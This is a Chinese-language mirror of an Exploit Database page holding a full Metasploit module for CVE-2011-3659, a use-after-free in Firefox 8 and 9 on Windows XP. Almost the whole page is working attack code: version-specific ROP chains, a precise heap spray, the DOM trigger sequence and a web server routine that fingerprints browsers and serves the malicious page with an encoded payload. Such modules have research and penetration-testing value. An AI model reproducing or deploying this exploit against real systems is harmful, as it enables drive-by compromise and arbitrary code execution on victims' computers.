Mozilla Firefox 8/9 – ‘AttributeChildRemoved()’ Use-After-Free (Metasploit)

• Exploit Database
• 93 阅读

• 作者： Metasploit
  日期： 2012-05-13
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18870/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::HttpServer::HTML
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Firefox 8/9 AttributeChildRemoved() Use-After-Free',
  			'Description'=> %q{
  				This module exploits a use-after-free vulnerability in Firefox 8/8.0.1 and 9/9.0.1.
  				Removal of child nodes from the nsDOMAttribute can allow for a child
  				to still be accessible after removal due to a premature notification
  				of AttributeChildRemoved. Since mFirstChild is not set to NULL until
  				after this call is made, this means the removed child will be accessible
  				after it has been removed. By carefully manipulating the memory layout,
  				this can lead to arbitrary code execution.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'regenrecht',#vulnerability discovery
  					'Lincoln<lincoln[at]corelan.be>',#Metasploit module
  					'corelanc0d3r<peter.ve[at]corelan.be>' #Metasploit module
  				],
  			'References' =>
  				[
  					[ 'CVE', '2011-3659' ],
  					[ 'URL', 'http://www.zerodayinitiative.com/advisories/upcoming/'], #ZDI-CAN-1413
  					[ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=708198' ]
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  					'InitialAutoRunScript' => 'migrate -f'
  				},
  			'Payload'=>
  				{
  					'BadChars' => "\x00\x0a\x0d\x34",
  					'DisableNops'=> true,
  					'PrependEncoder' => "\x81\xc4\x24\xfa\xff\xff"#ADD ESP, -5DC
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Automatic', {} ],
  					[
  						'Windows XP - Firefox 8 / 8.0.1',
  						{
  							'Ret'		=> 0x0C0C0C0C,
  							'OffSet'	=> 0x606,
  							'Size'		=> 0x40000,
  							'StackFlip'	=> 0x7818f50b, # XCHG EAX,ESP # POP EBP # POP EBX # RETN [MOZCRT19.dll]
  							'PopEsp'	=> [ 0x0c0c0c0c, 0x0c0c0c0c, 0x7819548e, 0x0c0c0c10 ],
  							'FF'		=> 8,
  							'OS'		=> 'XP'
  						}
  					],
  					[
  						'Windows XP - Firefox 9',
  						{
  							'Ret'		=> 0x0C0C0C0C,
  							'OffSet'	=> 0x606,
  							'Size'		=> 0x40000,
  							'StackFlip'	=> 0x1000ed58, # XCHG EAX,ESP # ... # POP ESI # RETN [nspr4.dll]		 
  							'PopEsp'	=> [ 0x0c0c0c0c, 0x10006a01, 0x0c0c0c10 ], # POP ESP # RETN [nspr4.dll]	
  							'FF'		=> 9,
  							'OS'		=> 'XP'
  						}
  					],
  					[
  						'Windows XP - Firefox 9.0.1',
  						{
  							'Ret'		=> 0x0C0C0C0C,
  							'OffSet'	=> 0x606,
  							'Size'		=> 0x40000,
  							'StackFlip'	=> 0x1000ed4a, # XCHG EAX,ESP # ... # POP ESI # RETN [nspr4.dll]		 
  							'PopEsp'	=> [ 0x0c0c0c0c, 0x10006a11, 0x0c0c0c10 ], # POP ESP # RETN [nspr4.dll]
  							'FF'		=> 901,
  							'OS'		=> 'XP'
  						}
  					]
  				],
  			'DisclosureDate' => 'Dec 6 2011',
  			'DefaultTarget'=> 0))
  
  	end
  
  	def autofilter
  		false
  	end
  
  	def check_dependencies
  		use_zlib
  	end
  
  	def junk(n=4)
  		return rand_text_alpha_upper(n).unpack("L")[0].to_i
  	end
  
  	def nop
  		return make_nops(4).unpack("L")[0].to_i
  	end
  
  	def get_rop_chain(ffversion,osversion)
  
  		# mona.py ROP chains
  
  		rop_chain = []
  
  		if ffversion == 8 and osversion == "XP"
  
  			rop_chain =
  			[
  				0x7819c80a, # POP EAX # RETN [MOZCRT19.dll] 
  				0x781a909c, # ptr to &VirtualAlloc() [IAT MOZCRT19.dll]
  				0x7813af5d, # MOV EAX,DWORD PTR DS:[EAX] # RETN [MOZCRT19.dll]
  				0x78197f06, # XCHG EAX,ESI # RETN [MOZCRT19.dll]
  				0x7814eef1, # POP EBP # RETN [MOZCRT19.dll]
  				0x781503c3, # & call esp [MOZCRT19.dll]
  				0x781391d0, # POP EBX # RETN [MOZCRT19.dll]
  				0x00000001, # 0x00000001-> ebx
  				0x781a147c, # POP EDX # RETN [MOZCRT19.dll]
  				0x00001000, # 0x00001000-> edx
  				0x7819728e, # POP ECX # RETN [MOZCRT19.dll]
  				0x00000040, # 0x00000040-> ecx
  				0x781945b5, # POP EDI # RETN [MOZCRT19.dll]
  				0x78152809, # RETN (ROP NOP) [MOZCRT19.dll]
  				0x7819ce58, # POP EAX # RETN [MOZCRT19.dll]
  				nop,# nop
  				0x7813d6b7, # PUSHAD # RETN [MOZCRT19.dll]
  			].flatten.pack("V*")
  
  		elsif ffversion == 9 and osversion == "XP"
  
  			rop_chain =
  			[
  				0x10019ee9,	# POP ECX # RETN [nspr4.dll]
  				0x10020060,	# ptr to &LoadLibraryW() [IAT nspr4.dll]
  				0x1000f994,	# MOV EAX,DWORD PTR DS:[ECX] # RETN [nspr4.dll]
  				0x10012ad0,	# POP EBX # RETN [nspr4.dll]
  				0x00000000,	# clear ebx
  				0x10006f41,	# ADD EBX,EAX # XOR EAX,EAX # RETN
  				0x1000cf40,	# POP EDX # RETN 00 [nspr4.dll]
  				0x1000d6ce,	# RETN (ROP NOP) [nspr4.dll]
  				0x10019ee9,	# POP ECX # RETN [nspr4.dll]
  				0x0c0c0c50,	# xul.dll (Unicode string)
  				0x1000eeb4,	# POP EDI # RETN [nspr4.dll]
  				0x1001f145,	# ADD ESP,0C # RETN [nspr4.dll] - call LoadLibrary
  				0x10004860,	# POP EAX # RETN [nspr4.dll]
  				0x1001f111,	# ADD ESP,10 # POP ESI # RETN [nspr4.dll]
  				0x100058B3,	# PUSHAD # CALL EAX [nspr4.dll]
  				junk,		# win some, lose some
  				0x00750078,	# xu
  				0x002e006c,	# l.
  				0x006c0064,	# dl
  				0x0000006c,	# l
  				0x1000cf40,	# POP EDX # RETN 00 [nspr4.dll]
  				0x00A63374,	# Delta to IAT VirtualAlloc()
  				0x10018ada,	# ADD EAX,EDX # RETN [nspr4.dll]
  				0x10008ddf,	# MOV EAX,DWORD PTR DS:[EAX] # RETN** [nspr4.dll]
  				0x1000a031, # POP ESI # RETN** [nspr4.dll]
  				0x1000a031, # POP ESI # RETN** [nspr4.dll] (readable address)
  				0x10013f1f,	# XCHG EAX,ESI # ADD DL,BYTE PTR DS:[EAX] # RETN [nspr4.dll]
  				0x1000687b,	# POP EBP # RETN [nspr4.dll]
  				0x1001a59b,	# & call esp [nspr4.dll]
  				0x10012ad0,	# POP EBX # RETN [nspr4.dll]
  				0x00000001,	# 0x00000001-> ebx
  				0x1000cf40,	# POP EDX # RETN 00 [nspr4.dll]
  				0x00001000,	# 0x00001000-> edx
  				0x1001069e,	# POP ECX # RETN [nspr4.dll]
  				0x00000040,	# 0x00000040-> ecx
  				0x1000eeb4,	# POP EDI # RETN [nspr4.dll]
  				0x1000d6ce,	# RETN (ROP NOP) [nspr4.dll]
  				0x10004860,	# POP EAX # RETN [nspr4.dll]
  				0x10004860,	# POP EAX # RETN [nspr4.dll]
  				0x100058B3,	# PUSHAD # CALL EAX [nspr4.dll]
  			].flatten.pack("V*")
  
  
  		elsif ffversion == 901 and osversion == "XP"
  
  			rop_chain =
  			[
  				0x1000bfc1,	# POP ECX # RETN [nspr4.dll]
  				0x10020060,	# ptr to &LoadLibraryW() [IAT nspr4.dll]
  				0x1000f986,	# MOV EAX,DWORD PTR DS:[ECX] # RETN [nspr4.dll]
  				0x1000f5ef,	# POP EBX # RETN [nspr4.dll]
  				0x00000000,	# clear ebx
  				0x10006f51,	# ADD EBX,EAX # XOR EAX,EAX # RETN
  				0x1000cf2c,	# POP EDX # RETN 00 [nspr4.dll]
  				0x1001ea03,	# RETN (ROP NOP) [nspr4.dll]
  				0x1000bfc1,	# POP ECX # RETN [nspr4.dll]
  				0x0c0c0c50,	# xul.dll (Unicode string)
  				0x1000eea6,	# POP EDI # RETN [nspr4.dll]
  				0x1000dda4,	# ADD ESP,0C # RETN [nspr4.dll] - call LoadLibrary
  				0x10004870,	# POP EAX # RETN [nspr4.dll]
  				0x10001ab4,	# ADD ESP,10 # POP ESI # RETN [nspr4.dll]
  				0x100058c3,	# PUSHAD # CALL EAX [nspr4.dll]
  				junk,		# win some, lose some
  				0x00750078,	# xu
  				0x002e006c,	# l.
  				0x006c0064,	# dl
  				0x0000006c,	# l
  				0x1000cf2c,	# POP EDX # RETN 00 [nspr4.dll]
  				0x00A63374,	# Delta to IAT VirtualAlloc()
  				0x10018acf,	# ADD EAX,EDX # RETN [nspr4.dll]
  				0x10008dd1,	# MOV EAX,DWORD PTR DS:[EAX] # RETN** [nspr4.dll]
  				0x1000e0b8,	# POP ESI # RETN** [nspr4.dll]
  				0x1000e0b8,	# POP ESI # RETN** [nspr4.dll] (readable address)
  				0x10013f14,	# XCHG EAX,ESI # ADD DL,BYTE PTR DS:[EAX] # RETN [nspr4.dll]
  				0x100162d5,	# POP EBP # RETN [nspr4.dll]
  				0x10019d12,	# & push esp #ret[nspr4.dll]
  				0x1000f5ef,	# POP EBX # RETN [nspr4.dll]
  				0x00000001,	# 0x00000001-> ebx
  				0x1000cf2c,	# POP EDX # RETN 00 [nspr4.dll]
  				0x00001000,	# 0x00001000-> edx
  				0x10007e46,	# POP ECX # RETN [nspr4.dll]
  				0x00000040,	# 0x00000040-> ecx
  				0x1000eea6,	# POP EDI # RETN [nspr4.dll]
  				0x1001ea03,	# RETN (ROP NOP) [nspr4.dll]
  				0x10004870,	# POP EAX # RETN [nspr4.dll]
  				0x10004870,	# POP EAX # RETN [nspr4.dll]
  				0x100058c3,	# PUSHAD # CALL EAX [nspr4.dll]
  			].flatten.pack("V*")
  
  
  		end
  
  		return rop_chain
  	end
  
  
  	def on_request_uri(cli, request)
  		# Re-generate the payload.
  		return if ((p = regenerate_payload(cli)) == nil)
  
  		# determine the target FF and OS version
  
  		ffversion = ""
  		osversion = ""
  
  		agent = request.headers['User-Agent']
  
  		if agent !~ /Firefox\/8\.0/ and agent !~ /Firefox\/9\.0/
  			vprint_error("This browser version is not supported: #{agent.to_s}")
  			send_not_found(cli)
  			return
  		end
  
  		my_target = target
  		if my_target.name == 'Automatic'
  			if agent =~ /NT 5\.1/ and agent =~ /Firefox\/8/
  				my_target = targets[1]
  			elsif agent =~ /NT 5\.1/ and agent =~ /Firefox\/9\.0\.1/
  				my_target = targets[3]
  			elsif agent =~ /NT 5\.1/ and agent =~ /Firefox\/9\.0/
  				my_target = targets[2]
  			elsif vprint_error("This Operating System is not supported: #{agent.to_s}")
  				send_not_found(cli)
  				return
  			end
  			target = my_target
  		end
  
  		# Create the payload
  		print_status("Creating payload for #{target.name}")
  
  		rop = [ target['StackFlip'] ].pack("V")
  		rop << get_rop_chain(target['FF'],target['OS'])
  		rop_js = Rex::Text.to_unescape(rop, Rex::Arch.endian(target.arch))
  
  		code = payload.encoded
  		code_js = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))
  
  		popesp = target['PopEsp'].flatten.pack("V*")
  		popesp_js = Rex::Text.to_unescape(popesp, Rex::Arch.endian(target.arch))
  
  		filler = [ junk ].pack("V*")
  		filler_js = Rex::Text.to_unescape(filler, Rex::Arch.endian(target.arch))
  
  		# random JavaScript variable names
  		i_name= rand_text_alpha(rand(10) + 5)
  		rop_name= rand_text_alpha(rand(10) + 5)
  		code_name = rand_text_alpha(rand(10) + 5)
  		offset_length_name= rand_text_alpha(rand(10) + 5)
  		randnum1_name = rand_text_alpha(rand(10) + 5)
  		randnum2_name = rand_text_alpha(rand(10) + 5)
  		randnum3_name = rand_text_alpha(rand(10) + 5)
  		randnum4_name = rand_text_alpha(rand(10) + 5)
  		paddingstr_name = rand_text_alpha(rand(10) + 5)
  		padding_name= rand_text_alpha(rand(10) + 5)
  		junk_offset_name= rand_text_alpha(rand(10) + 5)
  		single_sprayblock_name= rand_text_alpha(rand(10) + 5)
  		sprayblock_name = rand_text_alpha(rand(10) + 5)
  		varname_name= rand_text_alpha(rand(10) + 5)
  		thisvarname_name= rand_text_alpha(rand(10) + 5)
  		attr_name = rand_text_alpha(rand(10) + 5)
  		foo_name= rand_text_alpha(rand(10) + 5)
  		bar_name= rand_text_alpha(rand(10) + 5)
  		ni_name = rand_text_alpha(rand(10) + 5)
  		small_name= rand_text_alpha(rand(10) + 5)
  		addr_name = rand_text_alpha(rand(10) + 5)
  		run_name= rand_text_alpha(rand(10) + 5)
  		container_name= rand_text_alpha(rand(10) + 5)
  
  		# corelan precise heap spray:
  		# https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
  		# + trigger routine
  		spray = <<-JS
  
  		var #{rop_name} = unescape("#{rop_js}");
  		var #{code_name} = unescape("#{code_js}");
  		var #{offset_length_name} = #{target['OffSet']};
  
  		for (var #{i_name}=0; #{i_name} < 0x320; #{i_name}++)
  		{
  			var #{randnum1_name}=Math.floor(Math.random()*90)+10;
  			var #{randnum2_name}=Math.floor(Math.random()*90)+10;
  			var #{randnum3_name}=Math.floor(Math.random()*90)+10;
  			var #{randnum4_name}=Math.floor(Math.random()*90)+10;
  
  			var #{paddingstr_name} = "%u" + #{randnum1_name}.toString() + #{randnum2_name}.toString();
  			#{paddingstr_name} += "%u" + #{randnum3_name}.toString() + #{randnum4_name}.toString();
  
  			var #{padding_name} = unescape(#{paddingstr_name});
  
  			while (#{padding_name}.length < 0x1000) #{padding_name}+= #{padding_name};
  
  			#{junk_offset_name} = #{padding_name}.substring(0, #{offset_length_name});
  
  			var #{single_sprayblock_name} = #{junk_offset_name} + #{rop_name} + #{code_name};
  			#{single_sprayblock_name} += #{padding_name}.substring(0,0x800 - #{offset_length_name} - #{rop_name}.length - #{code_name}.length);
  
  			while (#{single_sprayblock_name}.length < #{target['Size']}) #{single_sprayblock_name} += #{single_sprayblock_name};
  
  			#{sprayblock_name} = #{single_sprayblock_name}.substring(0, (#{target['Size']}-6)/2);
  
  			#{varname_name} = "var" + #{randnum1_name}.toString() + #{randnum2_name}.toString();
  			#{varname_name} += #{randnum3_name}.toString() + #{randnum4_name}.toString() + #{i_name}.toString();
  			#{thisvarname_name} = "var " + #{varname_name} + "= '" + #{sprayblock_name} +"';";
  			eval(#{thisvarname_name});
  		}
  
  		function #{run_name}() {
  			var #{attr_name} = document.createAttribute("#{foo_name}");
  			#{attr_name}.value = "#{bar_name}";
  
  			var #{ni_name} = document.createNodeIterator(
   				#{attr_name}, NodeFilter.SHOW_ALL,
  		 		{acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; }},
   				false);
  
  			#{ni_name}.nextNode();
  			#{ni_name}.nextNode();
  			#{ni_name}.previousNode();
  
  			#{attr_name}.value = null;
   
  			const #{addr_name} = unescape("#{filler_js}");
  			var #{container_name} = new Array();
  			var #{small_name} = unescape("#{popesp_js}")
  			while (#{small_name}.length != 30)
  				#{small_name} += #{addr_name};
  			for (#{i_name} = 0; #{i_name} < 1024*1024*2; ++#{i_name})
  				#{container_name}.push(unescape(#{small_name}));
  
  			#{ni_name}.referenceNode;
  
  		}
  		JS
  
  		# build html
  		content = <<-HTML
  		<html>
  		<head>
  		<meta http-equiv="refresh" content="3">
  		<body>
  		<script language='javascript'>
  		#{spray}
  		</script>
  		</head>
  		<body onload="#{run_name}();">
  		</svg>
  		</body>
  		</html>
  		HTML
  
  		print_status("Returning HTML")
  
  		# Transmit the response to the client
  		send_response(cli, content, {'Content-Type'=>'text/html'})
  
  	end
  
  end
  

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